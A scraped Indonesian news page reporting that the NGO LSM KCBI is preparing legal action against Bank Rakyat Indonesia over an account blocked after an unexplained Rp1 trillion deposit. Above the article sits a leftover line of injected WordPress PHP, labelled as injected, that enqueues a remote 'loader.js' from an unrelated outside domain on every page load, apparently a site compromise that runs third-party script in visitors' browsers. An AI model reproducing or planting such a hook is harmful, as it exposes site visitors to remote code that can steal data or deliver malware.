// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); BRI Diduga Lalai Tangani Dana “Goib” Rp1 Triliun, LSM KCBI Siap Tempuh Jalur Hukum – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Hukum dan Kriminal

BRI Diduga Lalai Tangani Dana “Goib” Rp1 Triliun, LSM KCBI Siap Tempuh Jalur Hukum

79
×

BRI Diduga Lalai Tangani Dana “Goib” Rp1 Triliun, LSM KCBI Siap Tempuh Jalur Hukum

Sebarkan artikel ini
BRI Diduga Lalai Tangani Dana “Goib” Rp1 Triliun, LSM KCBI Siap Tempuh Jalur Hukum

Kupang Fakta Terkini- Sengketa terkait dana misterius senilai lebih dari Rp1 triliun yang tiba-tiba masuk ke rekening salah satu nasabah PT Bank Rakyat Indonesia (Persero) Tbk kembali memanas. Pasalnya, pihak BRI diduga tidak mampu menyelesaikan kasus tersebut secara profesional dan justru melakukan pemblokiran rekening secara sepihak, tanpa pemberitahuan maupun proses hukum yang transparan.

Menindaklanjuti hal tersebut, Lembaga Swadaya Masyarakat Kemilau Cahaya Bangsa Indonesia (LSM KCBI) melalui kuasa hukumnya dari Pusat Pengaduan LSM KCBI telah mengirimkan somasi kedua bernomor: 2503/PP.LSM-KCBI/VII/2025 kepada pihak BRI. Namun, dalam tanggapan surat balasan yang diterima, BRI hanya menyarankan agar pihak pelapor mengunjungi Kantor Cabang BRI Kupang untuk informasi lebih lanjut—tanpa memberikan penjelasan substansial mengenai duduk perkara maupun dasar hukum pemblokiran rekening.

Example 300x600

Ketua Umum LSM KCBI menyatakan bahwa sikap BRI sangat mengecewakan dan tidak mencerminkan tanggung jawab korporasi atas pelayanan perbankan yang adil dan transparan kepada nasabah.

> “Kami menilai BRI lalai dan tidak menunjukkan iktikad baik dalam menyelesaikan kasus yang sangat serius ini. Oleh karena itu, kami sedang menyiapkan langkah hukum untuk membawa persoalan ini ke ranah pidana dan perdata,” ujar Ketua Umum KCBI kepada awak media.

 

LSM KCBI juga menegaskan bahwa pemblokiran rekening nasabah tanpa putusan pengadilan dapat dikategorikan sebagai pelanggaran hak nasabah, bahkan berpotensi melanggar ketentuan perbankan sebagaimana diatur dalam UU Nomor 10 Tahun 1998 tentang Perbankan.

Kasus ini pun memantik perhatian publik, karena menyangkut potensi penyalahgunaan sistem keuangan oleh pihak yang tidak bertanggung jawab, serta lemahnya pengawasan internal pada bank milik negara.

LSM KCBI menyatakan siap membawa kasus ini ke OJK, Ombudsman RI, hingga ke ranah pengadilan, guna memastikan keadilan dan perlindungan terhadap hak-hak nasabah.

( Risaldi )

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *